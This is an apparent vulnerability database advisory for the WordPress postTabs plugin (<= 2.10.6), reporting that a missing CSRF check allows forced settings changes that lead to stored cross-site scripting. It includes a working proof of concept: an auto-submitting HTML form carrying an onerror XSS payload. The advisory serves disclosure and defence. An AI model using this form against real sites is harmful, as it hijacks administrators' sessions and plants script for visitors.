WordPress Plugin Vulnerabilities

postTabs <= 2.10.6 - Arbitrary Settings Update via CSRF to Stored XSS

Description

The plugin does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change them via a CSRF attack, which also lead to Stored Cross-Site Scripting due to the lack of sanitisation and escaping

Proof of Concept

<form id="test" action="https://example.com/wp-admin/options-general.php?page=postTabs.php" method="POST">
    <input type="text" name="line" value="#fff">
    <input type="text" name="active_font" value="#fff">
    <input type="text" name="active_bg" value="#fff">
    <input type="text" name="over_font" value="#fff">
    <input type="text" name="over_bg" value="#fff">
    <input type="text" name="inactive_font" value="#fff">
    <input type="text" name="inactive_bg" value="#fff">
    <input type="text" name="align" value="left">
    <input type="text" name="TOC_title" value='"><img src=x onerror=alert(/XSS/)>'>
    <input type="text" name="TOC" value="END">
    <input type="text" name="list_link" value="hideshow">
    <input type="text" name="single_link" value="hideshow">
    <input type="text" name="cookies" value="1">
    <input type="text" name="show_perma" value="never">
    <input type="text" name="submit_postTab" value="Update Settings »">
</form>
<script>
    document.getElementById("test").submit();
</script>

Affects Plugins

No known fix

References

Classification

Miscellaneous

Original Researcher
Daniel Ruf
Submitter
Daniel Ruf
Submitter website
Verified
Yes

Timeline

Publicly Published
2022-05-23 (about 1 years ago)
Added
2022-05-23 (about 1 years ago)
Last Updated
2023-02-15 (about 1 years ago)

Other